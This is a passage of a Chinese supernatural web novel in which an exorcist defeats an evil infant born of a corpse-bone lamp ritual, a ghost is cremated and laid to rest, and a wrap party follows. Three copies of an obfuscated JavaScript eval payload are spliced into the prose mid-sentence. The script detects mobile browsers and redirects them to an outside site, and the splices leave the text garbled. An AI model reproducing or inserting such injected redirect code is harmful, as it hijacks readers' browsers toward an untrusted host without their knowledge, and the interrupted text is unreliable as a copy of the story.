“死后不仅连孩子都直接扔掉，连自己的尸身都要被糟践利用。” 简灵停下脚步，站在她不足一米的位置，一字一句道： “骨盏烛灯，剜出难产女尸的盆骨，磨打成灯盏，以尸油点烛，燃烧三月则孕中生子……你家里那盏烛台，是陈欢仪的尸骨。” 一字一句，骇人听闻。 谢慈他们怎么也想不到这世上怎么会有如此恶毒的人，苏靖希更是捂着嘴差点没吐出来。 简灵神情淡漠：“不知道你们有没有听过骨盏烛灯后面的结果——胎儿生来无魂，即是死胎变恶鬼，被称为无魂恶婴，以吞噬人的生魂为食。” “不、不是我……”妇人几乎抱不住恶婴，双手软弱无力，佝偻的背脊深深地弯了下去。 “你说这恶婴是你的孩子，那陈欢仪呢，她是什么？” 似乎是感觉到妇人的动摇，本还老实缩在她怀中的恶婴猛然暴起，伸出双手咿咿呀呀地拍在妇人的脸上，咧开嘴笑着贴近她。 妇人对上那双空洞的眼眶，颤栗的身体逐渐冷静下来，露出慈母的微笑，七窍中缓慢溢出荧绿的雾气，被恶婴一点不漏地吸入眼中。 “不好，他这是要吃了他母亲？！”谢慈大惊。 简灵一点也不意外：“别对恶鬼抱有什么期待，他没有在一开始吃掉妈妈的灵魂，只是因为还不够强大，要留一个足以保护自己的人罢了。” 她说完抬起手，手中已经夹起一张黄符，衣角无风自动，从半空中传来隐隐雷声。 “欢耀！”苏靖希突然大叫一声，往前冲了几步犹豫着停下，“陈欢耀是吧……你、你来吃我吧！” 简灵：？ 她扭头看去，苏靖希一只腿在前，一只腿带着上半身弯曲着向后，以一种很搞笑的姿势站在那，随时准备后退的样子。 “你干什么？” “师傅你不是说我对鬼来说是美食吗……”苏靖希朝她挤挤眼，转头又大声朝恶婴喊，“我比你妈的灵魂更香！来吧！” 他不知道在使什么力，整张脸涨得通红，还颤抖着对恶婴勾勾手，试图挑衅。 简灵垂下手，她知道苏靖希是想把恶婴勾引出来，免得伤到了他妈妈。 没想到这么无厘头的做法也奏效了，恶婴还真的从妇人怀中抬起头，空洞的眼眶朝苏靖希看去，咧嘴一笑，猛地跃起朝他奔去。 “啊！”苏靖希短促地喊了一声，立刻感觉到谢慈扳住他的肩膀，极速往后退去。 谢慈怒道：“你没想过怎么跑就冲上去送死？” “没事的你和师傅这么厉害，他吸我两口应该没事哈哈……”苏靖希笑都没来得及笑完，恶婴已经飞速近身，他几乎都能闻到那股属于死人的恶臭—— “——律令召雷，烈火焚形！” 简灵速度更快，眼底像是染了青色火焰，几道黄符飞出将恶婴牢牢捆绑，她长手一伸，将恶婴直接按在脚下。 几乎是一瞬间阵法升起，简灵的脚底一圈燃起火焰，将其他人都隔绝在外。 恶婴发出撕心裂肺的嚎哭，那边恍惚的妇人回了神，四肢在地上胡乱挣扎着起身，想要向火圈爬去。 随着火势大盛，简灵一个飞身从里面跃出，冷眼看着她： “你都不怕他，想来也不怕陈欢仪的鬼魂吧？” 这句话像是触及到了妇人心中的某处角落，那只满是泥土的手登时顿住，按在地上，手指缓缓地扣进泥土中。 她像是被抽走了灵魂，瘫软地伏在地上，无声哀嚎着。 业火很快退去，在地上留下一圈淡淡的痕迹，中间只剩下一个蜷缩着的婴孩，乌青的面色昭示着已经死去好几天了。 “烛火！”简灵猛然想起那快烧完的蜡烛，对谢慈喊道，“她家那个烛台要在燃尽前灭掉！不然她就没了！快！”< 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简灵走上前，伸手覆在她的额头检查一番，舒了口气：“还好，没什么问题，可以顺利转世了。” “谢谢你们。”陈欢仪朝他们鞠了一躬，看着自己半透明的双手，“我不知道该怎么才能报答你们……我看到了你们帮我的一切，真的谢谢……但我现在……” “没什么，主要不能放那个恶婴长大，顺道救你。”简灵无所谓道。 苏靖希用胳膊碰了一下简灵，冲她挤眉弄眼：“师傅你会不会说话啊……” 说完他撑着膝盖微微弯腰，问她：“你还有什么心愿吗，比如呃……你妈妈还在外面，你想见的话……” “我不想见！” 陈欢仪脆生生地答道，朝他笑了笑。 “你是不是傻。”简灵嗤道，“她是十五岁了，不是五岁。” 陈欢仪“嗯”了一声，明明脸上带着笑，声音却落寞得令人心疼：“我知道的啦，他们做了什么我都知道的。” “不过确实有一件事，得问问你的意见。”简灵沉默了一会儿才决定开口，“你之前那个孩子是无辜的，现在不知道被埋在哪儿了，需要我们帮你找到合葬吗？” 听到这个陈欢仪怔愣片刻，还有几分幼嫩的脸上透着不可思议，像是在内心挣扎了许久才缓慢地摇了摇头：“不需要，其实她根本没必要出生的，跟我一样。” 削瘦的脸上只有一双眼睛很是灵动，可现在大眼睛里流下成串的眼泪，泪水顺着脸颊滴落，在半空就消失不见。 简灵顿了顿，用手轻轻拭去她的眼泪，是一种冰凉的手感，这一下有实感的触碰让陈欢仪浑身一震，仿佛终于发泄出了这么多年的委屈，肆无忌惮，嚎啕大哭。 三人就这么沉默着，听着一个小姑娘忍了十几年的委屈与悲伤。 直到天空被染成蓝调，陈欢仪在太阳出来前消散而去。 “她的尸骨，拿走吗？”谢慈指着桌上的骨盏问。 简灵摇了摇头：“先不拿了，警察还要过来查。” 她的目光穿过窗户，望向四久山，清晨的四久山上传来长鸣的警笛声。 16. 火化 还没等警方查到山下，陈家的邻居就发现了陈母在家中自缢，立刻报了警。 她留下一封遗书交代了所有事情的始末，将早已死去的婴儿用衣服包裹着，系在胸前，就那样将自己跟一排衣服挂在一起。 原来简灵她们在树林里遇到的死者是陈父的工友兼老乡，是他告诉陈家骨盏烛灯生儿子的传闻。 而正巧此时，在老家早早被父母嫁了人的陈欢仪大着肚子跑来投奔他们，本想是跟父母诉说委屈，可没想妈妈也怀了孕，失魂落魄的陈欢仪跟父母起了争执后跌倒早产，最终因难产而死。 后来也是那个工友跟陈父一起，将陈欢仪的遗体偷出来，拖到树林里剜骨后再掩埋。 警方顺藤摸瓜，很快就在树林附近找到了陈欢仪和陈父的遗体。 “……真是一家疯子。”之前来过的那位警察摇了摇头，拿着遗书唏嘘不已，“还说自己儿子是恶魔，我看是因为生了个死胎所以疯了吧。” 简灵远远地瞟了一眼，看不清遗书的内容，只大概看到一行行像初中生的字迹，写了满满一张纸。 她垂下眼睑，沉默不语。 警察已经循例找他们问过话，不过大家都很默契地没有提及山下的事情。 “行了，基本没你们什么事儿了。”那警察站起身，“林小姐，还有各位，今天这起案件请你们不要对外说出去。” 林招芙点点头，冷着脸转身离开。 * 忙活一整晚，又配合警方调查了一上午，众人都疲惫不堪地在沙发上东倒西歪。 简灵一个人坐在廊下，静静地看着远处一排排公墓。 白日里的公墓很安静，也没有鬼怪出来捣乱，今天的天气有些阴沉，四久山上雾蒙蒙的一片，灰色的墓碑一桩桩地排列整齐，一眼望不到边。 “哗啦”一声，身后的窗户打开，探出三个脑袋。 习惯了熬夜拍戏的苏靖希觉得还好，而另两个是鬼，不睡觉对他们来说也没什么影响。 “师傅，一个人坐这儿干什么呢？” “闭目养神。”简灵头都不回，闭上眼睛懒得理他，“你们一个两个的都不用睡觉，我要睡。” “要不我们下山吃点东西？他们都忙去了，也给他们带点儿……不知道林招芙去干嘛了。”苏靖希左右看看，偌大的馆里只有他们几个。 “她去协助法医处理陈欢仪的遗体去了，她想亲自帮她拼骨。”简灵淡淡道。 陈小志“啧啧”两声，佩服万分：“真厉害啊，那尸体听说都高腐了。” “确实，她看着也就二十六七岁……不到三十吧应该？”苏靖希也感慨道，“干这行已经这么熟练了，也太牛了。” 简灵顿了顿，问他们：“你们知道，林招芙以前叫什么吗？” “以前？她改过名吗？” “嗯，她以前叫林招娣。” 这个名字的含义就连谢慈也明白，三人登时沉默了。 简灵睁开眼睛望着四久山，平静地叙述着：“招芙姐当年考上大学后，她父母把她锁在家里不让她去，把她嫁给了同村的一个男的。” “我去，怎么还有这样的父母……”苏靖希震惊，“从村子里读书出来考上大学，多不容易啊。” 陈小志叹气：“陈欢仪的父母不也是吗？” “所以后来她跑了。”简灵继续说着，“她去镇上去市里找工作，端盘子摇奶茶，去小公司当前台，几乎样样能做的都做了。” “可她去哪里都能被父母找到，他们在店家门口闹，去公司闹，逼着老板没办法只能让她离开。” “招芙姐一气之下找到了平安，说自己什么都能干，也愿意学，不怕鬼不怕尸体……只要包吃住就行，甚至不要工资。当时的馆长，也就是后来的主任看她机灵能吃苦，就主动带她学着做个入殓师，还教她管帐，现在馆里基本上都是她做主了。” 谢慈问：“那她在这儿父母就找不到了吗？” “能找到，但是嫌她晦气了呗。”简灵眦着牙笑，“那边谁也不愿意娶一个在殡仪馆工作过的女孩，所以带回去也利用不上了吧。” “晦气啥啊，凭自己的能力吃饭。”陈小志不屑，“谁乐意回那个家啊。” 简灵乐了：“所以招芙姐主动跟家里一刀两断，还给改了个名字！” 她还记得当年林招芙兴冲冲地拿着自己的户口本和身份证冲进来，啪一下摔在桌上，双手叉腰：“爽了！以后我就自立门户了！” “林招芙？”简灵拿着身份证一看，名字和照片都是新的，“还挺好听。” “是吧，我本来想叫招福的，不过又觉得有点像狗名儿。”林招芙摸摸下巴，“这个招芙看着洋气些。” “我看狗名也不错，不都说起个狗名好养活么。” “你是不是想死？”林招芙翻了个白眼，“小心我给你塞冷冻柜里！” 想到这里简灵忍不住又乐了，靠在椅子上捧腹大笑，把另外两人看得一头雾水，只有谢慈倚在墙边，嘴边露出一丝淡淡的笑意。 等她笑完，陈小志才恍然大悟：“难怪刚才我听到她跟警察说，等案子结束了能不能申请陈欢仪在平安火化，她愿意收敛陈欢仪的骨灰……还说这里不乐意留那三个成年人的遗体，让警察赶紧拉走。” 苏靖希一听也乐了：“她真跟警察这么说啊，那警察怎么办？” “警察也无语了，不过本来也要解剖查死因，就把他们仨拖走了呗。” “查也只会是心脏病猝死。”简灵耸了耸肩，忽然想起了什么，扭头对陈小志说，“哦对了，招芙姐说今天早上你那个表哥打电话来同意火化了，而且还把两万块钱转给了平安，说全权委托平安处理你的后事。” “太好了！”苏靖希欢呼。 忽然有人推门进来，林招芙看到手舞足蹈的苏靖希，满脸无语：“傻乐什么呢，出来吃饭了。” 看大家上午都忙碌得没时间吃饭，方爷爷煮了阳春素面，此时正一碗碗放在桌上，冒着香喷喷热气腾腾的烟雾。 “哇，方爷爷辛苦。”简灵第一个坐下，抱着碗就狼吞虎咽，“我们连吃两天泡面了，快吃成木乃伊了。” 在一声声此起彼伏的“谢谢爷爷”中，方爷爷那张冷漠的脸上也露出一丝暖意，他慢吞吞地拎起自己的小灯：“你们好好吃，我去巡逻了。” 林招芙也坐在桌边，脸上带着些许疲惫，大口大口地吃着面。 “招芙姐。”苏靖希打心眼儿里佩服林招芙，尊称她一声“姐”，满脸的崇拜，“我有点好奇，你们这样刚处理完遗体还有胃口吃饭吗？” “为什么没有？你知道高腐的尸体有多难处理吗？！我快累死了，饿晕了都。”林招芙埋头就是吃，一点不想理他。 “佩服佩服……” 林招芙起了坏心眼，抬头盯着他：“这么好奇吗？要不我给你讲一下高腐尸体的特征和注意事项，就是首先……” “不不不别别别！”苏靖希赶紧叫停求饶，看了一圈，在场都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16192679|180962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是些神人，估计只有他听了会胃口全无。 简灵在一旁笑嘻嘻地幸灾乐祸：“让你好奇。” “对了。”林招芙咽下一口面，捏着筷子对着空气转了一圈，“那个那个什么，陈小志在这儿吧？你的遗体烧完了，一会儿吃完饭跟我去选个喜欢的骨灰盒，还有那两万块钱你看怎么处理。” 陈小志怔愣片刻，看向简灵，带着几分好奇和期待搓了搓手：“我还能自己选骨灰盒啊？” “当然。”简灵欣然点头，“现在的骨灰盒各种各样，啥都有，不过平安的款式比较少，你要是都不喜欢，我就在网上给你买一个也行。” “屁事那么多呢你！”林招芙朝她翻了个白眼，“等你死了我给你一把灰撒粪坑里。” “粗俗。”简灵以筷子指她，被还以一个刚擦了嘴的纸团。 * 吃完饭，除了左毅自己去忙了，其余几人呼呼啦啦都跟着林招芙去了，她无奈地推开门：“都跟来干什么呢，这儿是排队领鸡蛋吗。” “我是来给陈小志当翻译的。”简灵耸耸肩。 谢慈：“我来送他一程。” 苏靖希：“我来看看，没见过，烧成灰应该不可怕吧。” 林招芙：…… 锅炉房内，一张台子孤零零地摆在那儿，上面铺满了一层厚厚的灰，还夹杂着不少大块的骨头。 “原来不全是灰啊……”陈小志怔怔地看着自己的遗骨，自己好像也没有想象中的那么难过，感觉有点奇异。 简灵背着手注视着墙边的柜子，里面摆着各式各样的盒子罐子，她喊陈小志过来选一个。 “我喜欢这个青瓷的，古典优雅！”苏靖希建议道。 简灵：“嗯，等你死了用这个。” “呸呸呸！不要乱说！” 看了一圈，陈小志也没什么特别的想法：“随便拿一个便宜的吧。” “这个呢？”简灵伸手指着一个简单的木质小方盒，“这个盒子外面可以插照片，你有没有在网上发过自己喜欢的摄影作品，我可以帮你打印出来放进去。” “对哦，你不是喜欢摄影吗？应该有照片吧，你告诉我来搜一下。”苏靖希兴致勃勃地摸出手机。 陈小志忽然觉得鼻子有点酸。 他被简灵从摄影机里解救出来这么几天，从来没觉得有什么难过与遗憾，可这一刻他感觉自己是一个活生生的人，正在回光返照中与好友一一道别。 “那、那就这个吧！”陈小志猛地转过身去，用手不停地抹着脸，声音哽咽，“我的账号叫‘小志爱旅游’，上面发了些……我上大学时穷游……拍的风景照，你们帮我看看……帮我看看哪张好……” 望着陈小志的背影，苏靖希也揉了揉泛酸的眼睛。 简灵将小木盒拿出来放在台子上，几个人一把一把的将骨灰装进去。 “那钱呢，他怎么说？”林招芙问道。 简灵稍稍抬下巴示意了一下身边：“没说，在哭着呢。” “一个大男人，都死三年了，有什么好哭的。”林招芙正好拿了大块的骨塞不进盒子，她面无表情地抄起旁边的锤子，“啪”一下锤得粉碎，“反正人都是要死的。” 陈小志打了个冷颤，害怕地摸了摸自己的脑袋。 “别吓唬他了。”简灵笑了笑。 陈小志感觉自己的悲伤都被那一锤子锤散了，心中释怀了不少：“那两万块钱……我的火化费骨灰盒啥的钱都从里面扣，剩下的就捐给平安吧。” 17. 杀青宴 第二天一早，下山的车上少了一个人……哦不，少了一个鬼，连一向叽叽喳喳的苏靖希都有些许沉默。 昨夜顺利送走了陈小志，几人将就着在平安休息了一夜。 车里这种沉重的氛围令苏靖希实在是难受，强行扯开话题：“啊哈哈……也不知道陈小志会转世成什么呢？师傅，他会转世成动物啥的吗？” “不知道。”简灵摇头，“有老鬼曾跟我说过，能感受到某个人是自己前世亲人朋友的转世。” 但毕竟谁也记不得前世的纠葛，说到底也已然是另一个人，那么这究竟能不能算是同一个人呢？ 谁也说不清。 “所以对鬼魂来说，也只算是一种念想吧。” 从昨天起就心事重重的谢慈忽然轻声说：“简灵，我好像想起些什么了。” “嗯？”简灵转身扒着椅背看她，“想起什么了？” “就在见到陈欢仪的时候，我想起来我好像……有一个妹妹。” 谢慈垂头怔怔地看着自己的双手，好像自己常常用手抚摸妹妹的头发，轻柔地与她讲话。 “陈欢仪是你妹妹的转世吗？” “不不……只是忽然回忆起我也有这么一个妹妹。” “也不错，能想起来就好。” 简灵开心地坐回去：“你的魂与魄都只缺少了一小部分，影响不大，慢慢地都能想起来的。” “嗯。” “诶，师傅。”苏靖希慢悠悠地开着车，顺口好奇道，“你说如果放任陈小志不管他会逐渐变成失了智的怨鬼，那为什么谢慈不会啊？” 简灵从后视镜瞥了一眼谢慈：“你瞧她那一身正气，说不定连去地府面试个公务员阎王爷都不敢收。” “哦！我懂了！”苏靖希恍然，“如果有天堂地狱之分的话，那谢慈上了天堂高低也能混个光辉圣骑士之类的当当，是吧？” 简灵：……是不是串国籍了。 “那恶婴那类呢？”谢慈思索片刻问道，“我在庙里千百年，从未遇见那等凶恶的鬼怪，不会思考，也没有一丝神志，简直就是……” 谢慈都无法找到一个词去描述，恶鬼就是它们最好的形容词。 简灵摇了摇头：“恶鬼那就是另一种东西了。它们要么是像无魂恶婴这样被人用阴毒的方法制造出来的，要么是从地府流窜出来的，一旦现世，必定危害人间，我们这行主要就是干这个的。” “它们都很强吗？” 仿佛苏靖希问的是个多么天真的问题，简灵表情严肃：“那个恶婴才刚出生没两天……你觉得呢？” 苏靖希五官皱起，忽然有些后悔跟简灵学这个了，以后遇到这种级别的恶鬼他真能打得过吗？！ “所以啊，遇到恶鬼不能有一丝一毫的懈怠，如果不解决它们，对所有人来说都会是一场灾难。” “师傅啊。” “嗯？” “如果当时没有及时把恶婴勾引出来……”苏靖希顿了顿，声音都变轻了，小心翼翼地问，“你是不是准备不管他妈妈了，要强行…呃，消灭了他？” 这话说完，车内陡然间安静下来。 后排的谢慈紧抿着唇，垂下眼帘，不知道在想什么。 而简灵也陷入沉默，她整个人往车座里缩了缩，调整了一个更舒服的姿势，头倚着车窗，静静地闭目养神，没有回答这个问题。 幸好微妙的氛围很快被手机铃声打破，看到是经纪人打来的，苏靖希手忙脚乱地靠边停车，赶紧接通。 “喂金姐！” “在华丹市呢，我没跑远。” “放心，我在一个没狗仔敢追来的地方！” “嗯嗯她跟我在一块儿呢。”苏靖希瞧了一眼简灵，“嗯”了半天，神情很是高兴，搁在方向盘上的手指不住地轻敲，“好嘞，我跟她说说哦，拜拜！” 挂了电话，苏靖希兴奋地转头问简灵：“师傅，我差点都忘了今天晚上杀青宴，你和谢慈也一起去吧！” 简灵没什么兴趣：“不去，回家睡觉。” “哎呀师傅，年纪轻轻的睡得着嘛，一起去玩吧！雨宁姐她们那个综艺节目今天也在那家酒店办杀青宴，这不是那些人你也都认识！” 忽然口袋里的手机震动两声，简灵没理他，自顾自地摸出手机看消息。 “那家酒店的东西挺好吃的，是华丹市口味最好的大酒店！”苏靖希只能扭到后面恳求谢慈，“谢慈你好不容易再体验一遭，那不得去尝尝，是吧？” “我吃东西尝不出味道。”谢慈老实说道。 苏靖希真没招了，挠了挠头，愁眉苦脸地继续开车。 还没等他继续找理由劝说，简灵开口道：“你先把我们送回家，我得洗澡换个衣服，在山上待了两天，快臭死了。” “啊？” “啊什么啊，你不也得回去收拾下？”简灵斜睨他一眼，他也跟着熬了两天，今早上洗了把脸就下山了，乱糟糟的头发被鸭舌帽盖住，就算站在粉丝面前可能对方都要愣一下。 “好嘞！”苏靖希兴奋极了，“金姐一会儿喊司机来接我，那师傅我能去你家看看吗？” 简灵拒绝：“不行。” “哦。” 她低下头看手机，界面上是老杨哥给她发的消息，原来老杨哥也邀请她去《逃出生天》的杀青宴，说是最近有个朋友想寻求帮助，具体等见面了聊。 简灵打了个呵欠，反正上门的生意不接白不接，顺便带谢慈去蹭个饭。 * 补足了觉的简灵晚上神清气爽地带着谢慈去赴宴了，到了酒店门口看到郭明跟泊车员并排站在一处，有说有笑地拉着泊车员聊天。 “郭导，什么事这么开心啊？”简灵按下车窗，探头出来笑道。 郭明喜滋滋地上前帮她开门：“简大师终于来了！我专程在这儿等您的！” 一旁的泊车员也是老员工了，看起来跟郭明也挺熟的，笑着接过简灵的车钥匙：“郭导的《逃出生天》收视率肯定又能创新高了，他正跟我们分享拍摄时的趣事呢。” 简灵意味深长地看了郭明一眼：“趣事？” “哎呀哎呀，那些麻烦都过去了，还多亏了您的帮忙！”郭明嘿嘿一笑，不好意思地摸了摸头，“我们这两天重新修改了最后一期的剧本，希望观众的反响能不错。” 说着三人走进了厅内，简灵随便一瞧居然看到了不少熟人，原来《逃出生天》和《将军年少》的杀青宴居然就在相邻的两个厅。 娱乐圈本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205980|180962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就不大，两个组里相互串门的熟人还真不少，最后干脆把中间的门打开，一时间两个私密厅变成了一个，竟像是合办了一场似的。 提前到场的苏靖希一眼就看到了简灵，一边“师傅师傅”的喊，一边往这边跑来。 好好收拾了一番的他又恢复了精神偶像的模样，有些不明所以的人好奇地向这边张望，另一些则窸窸窣窣地分享着苏靖希的拜师糗事，厅中响起一阵阵笑声。 苏靖希经历了这几天已经心甘情愿称简灵一声师傅，完全不在意这些，厚着脸皮拉她去自己那边坐。 “诶诶，苏靖希你干嘛。”一个熟悉的声音横插一脚，秦雨宁登登地踩着高跟鞋就来了，一把拉过简灵，“走，去姐那边坐。” 简灵从善如流，跟着秦雨宁坐到她们桌边，环视一圈，这桌上都是《逃出生天》的老熟人。 “挤一挤，挤一挤。”简灵和谢慈刚落座，苏靖希就挤到同一桌的郭明身边坐下，“郭导你好，我是苏靖希。” 郭明哭笑不得，他当然认识苏靖希，不过明眼人都能看出这位是跟着简灵来的，肯定也不是为了跟他这个综艺小导演套近乎。 “这是你们场子嘛你就来？”秦雨宁无语。 “哎呀都是一家人，别介意。”苏靖希眼巴巴地看着简灵，“是吧，师傅？” 简灵倒也不在乎这个，自顾自地动起了筷子：“试用期还没过。” “我肯定能过，师傅都说我有天赋！”看简灵没赶他走，苏靖希乐得要死，殷勤地给大家倒酒水。 默默地接过他递来的饮料，郭明心中震惊——这小子可是出了名的喜欢摆架子耍大牌，怎么认识简灵几天就变成这样了？ 不过…… 郭明小心地看了一圈，简灵和谢慈他惹不起，秦雨宁、老杨哥和苏靖希三人都比他大牌，敢情这个桌子上现在他的咖位最小啊？！ 不过简灵没忘记来赴宴的目的，她看向老杨：“老杨哥，这几天感觉怎么样，有什么后遗症吗？” 老杨笑了笑：“没有没有，托简大师的福，我最近想通了不少，心态都放平了。” “那就好。”简灵点点头。 “所以这次我有个朋友遇到一些事情，我第一时间就想到了简大师。” “啊……”郭明稍微打断了他，“老杨哥，隔壁有个小包间，需要回避吗？” 老杨赶紧摆手：“不用，你们就当个八卦听听就行！我那个朋友啊前些时低价买了套江景别墅，当时没想那么多啊，看着地段好就赶紧入手了，结果没多久才知道……那是个凶宅。” “多凶？”秦雨宁淡定地喝汤。 “一般死了个人倒是没事，如果是自然过世的就更没关系了，对于所谓‘凶宅’其实很多人都是心理作用，有的人比较忌讳这个。”简灵解释道。 “那哪种凶宅才会闹鬼啊？”苏靖希好奇道。 简灵单手托着下巴，思索片刻：“还是那些吧，有怨念、有执念，或者是……死了很多人。” 在场几人都不禁打了个哆嗦。 只有老杨哥正襟危坐，连说话声都压低了些：“原户主是租给别人的，后来打听说才知道那屋里这几年累积下来死了不少人，光从后院挖出来的……都有五六个。” 18. 不速之客 “凶杀案？” 老杨哥点点头：“听说是的，但警方没公布过案件情况，具体发生了什么他也不知道……而且是几年前的事了，他才踩了这个坑。” “凶杀案的话确实容易招东西。”简灵手指在桌上轻轻叩了叩，追问道，“你朋友目前还好吧？” “他没事，买下这么久目前就去过一两次，觉得那房子太阴森了。” “行。”简灵即刻拍板答应，“这两天有机会约个时间，我去看看再说。” 老杨哥千感万谢，旁边的苏靖希猛地举起手，兴奋喊道：“师傅我也去！” 简灵还没开口，身后就传来一道严厉的声音：“你去个屁去！” 众人扭头看去，苏靖希的经纪人正巧过来听到了他的豪言壮语，金舒云绷着脸冲大家点点头，气势汹汹地走到他旁边：“你忘记你要去上课了吗？” “呃……” “上什么课啊？”简灵捏了块点心啃着。 苏靖希愁眉苦脸地嘟囔着：“去新南艺上表演课。” 金舒云顺手拉了一把隔壁桌的空椅子，挤到桌前坐下，略微有些不好意思地看着简灵：“简大师，没想到好意让他上课前休个假，结果这小子居然跑去打扰你，真是给你添麻烦了……” “还好还好，也没遇到什么大问题。” 知道详情的谢慈和苏靖希都沉默了，原来尸体被盗、死了几个人、遇到恶鬼这些都是小问题啊。 一旁的秦雨宁倒是欣然点头：“你确实该补一补表演课了，毕竟不是科班出身，上表演课也是对你好。” 这话从别人口中说出来可能很装，但秦雨宁作为影后，含金量比金舒云的话都要高，指点指点他这种小辈也没什么问题。 “我也不是不去，就晚几天。”苏靖希眼巴巴地看着简灵，祈求这个话语权最大的人能帮帮他，“跟师傅看完那个凶宅就回来。” 简灵干脆地拒绝，手掌一摊示意金舒云：“别看我，我不是你的监护人。” “不行。”金舒云简直额头都要冒青筋了，这小子又开始耍脾气，“公司好不容易给你搭上季星迟的人脉，让你去新南艺插班，后天必须按时出发，机票什么的都订好了。” “你说谁的人脉？”秦雨宁顿了顿，追问道，“季星迟吗？” 金舒云点头：“新南艺出了季星迟这个影帝，从去年开始就很难进了，我们这边跟他联络了一下拿到了一个插班名额，机会难得，就想送小希去学习。” “哦……新南艺确实挺好的。”秦雨宁意味深长地看了一眼简灵。 几乎是听到“季星迟”这个名字的同时，简灵鼻子一动，隐约闻到了一股熟悉的气味，那气味似鬼非鬼，混杂在酒店的人群中，令她头皮发麻。 当然头皮发麻不是因为别的什么原因。 那股类鬼的气味像是终于找准了方向，正细细密密地穿过拥挤的人群，向她们这桌一点点靠过来，与此同时，人群中传来一阵阵惊讶的嘈杂声。 “他怎么来了？” “我去，谁面子那么大把他喊来了？” “诶诶他往郭导那边去了！” “不会吧！我们《逃出生天》下一季这么出息了？双影咖位？！” 简灵自动放缓了听觉，周遭一切声音都仿佛加了一层隔音玻璃，那气息如鬼魅般向自己越靠越近，同桌其他人的目光越过她的身后，露出惊讶的神情。 她的手默默摸到桌上的一瓶矿泉水，就在那气息几乎要贴上来的一瞬间猛地转身，用矿泉水瓶怼在那人的腰上。 “——不要贴那么近。” 来人的手还悬在半空，看起来像要准备触碰简灵的肩膀，却被她直截了当地挡下来。 他低下头对上简灵的目光，笑了一下，微弯的眼睫下是一双浅棕色的眼睛，像是清澈的深潭，笑意带起荡漾的波澜。 旁边有人忍不住暗暗感慨，难怪这人如此招粉丝喜欢，这脸，这眼睛，往大屏幕上一摆，看狗都深情。 “你好冷漠。” 他举起双手做投降状，往旁边撤了半步：“好好，我不挨着你。” 矿泉水瓶在简灵手中转了个圈，安稳地回到了桌上，她转回去继续低头吃菜，丝毫不在意其他人古怪的目光。 一时间桌上微妙的沉默了，郭明忍不住主动打开了话头：“这不是季星迟先生嘛，好巧好巧，哈哈。” 季星迟微笑点头跟他打招呼：“不巧，我是专程来找简灵的。” 其他人：？ 这话说了比不说更让人震惊吧！ 只见季星迟探寻地看了一眼简灵左边的秦雨宁，可对方只给了他一个拒绝的微笑，于是他只能走到简灵右边，对谢慈礼貌开口：“你好这位小姐，请问……可以麻烦你往右边挪一点吗？” 谢慈顿时警觉起来，眼神里满是质疑：“你是谁？为什么要接近简灵？” 这下好了，甚至有一个不认识季星迟的，拒绝的语气比秦雨宁更决绝。 “唉，简灵，你身边的人真是一个比一个冷漠。”季星迟叹气。 简灵直言不讳：“那得看是对谁。” “好吧。”季星迟妥协了，从旁边拖了一把椅子塞进谢慈和郭明的中间，“郭导，麻烦您往那边去点。” “哦哦……”郭明脑子都快宕机了，愣愣地挪了挪椅子，差点撞到了苏靖希。 郭明晕乎乎的，觉得今天自己就像是偶像剧里的女主角—— 右边是顶流偶像苏靖希，左边是年轻影帝季星迟，而这两人现在就坐在自己的两侧…… “哈哈……”他干笑两声，不知道该说什么只能胡言乱语地开玩笑，“您二位这样让我觉得《逃出生天》下一季的人选都定好了。” 季星迟瞧了一眼简灵，笑道：“如果郭导早说这一季最后一期会叫简灵来，那我高低得请你留一个飞行嘉宾的位置，免费。” “那我就不会去了。”简灵给了他一个笑容，皮笑肉不笑的那种。 受不了这两人之间古怪的氛围，苏靖希好奇地开口问道：“师傅，你和季星迟认识啊？” “不熟。” “当然……”季星迟稍微顿了一下，“那就不熟。” “呃，那个……”金舒云终于看出点端倪，很不好意思地解释道，“季先生是我们请来的，因为帮小希牵线了新南艺的事情，如果二位之间有什么误会……我很抱歉。” 季星迟摇了摇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16210189|180962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头：“正巧我在郭导的朋友圈看到某些人跟《逃出生天》节目组很熟，而鉴于她把我所有联系方式都拉黑了——我就只能主动来找她了。” 简灵一个眼刀飞给郭明，把郭明吓得是欲哭无泪，他也不知道季星迟会看他朋友圈、也不知道他俩有矛盾啊！ 按理说简灵还救过季星迟一命，不应该呀！ “谢慈，吃饱了吗？” 谢慈一愣，点点头，反正她也没什么饥饱的感觉。 “那行，今天要聊的也聊完了，我们先走了，你们慢吃。”简灵说完就站起身来，对每个人都露出了友好的微笑致意，除了季星迟。 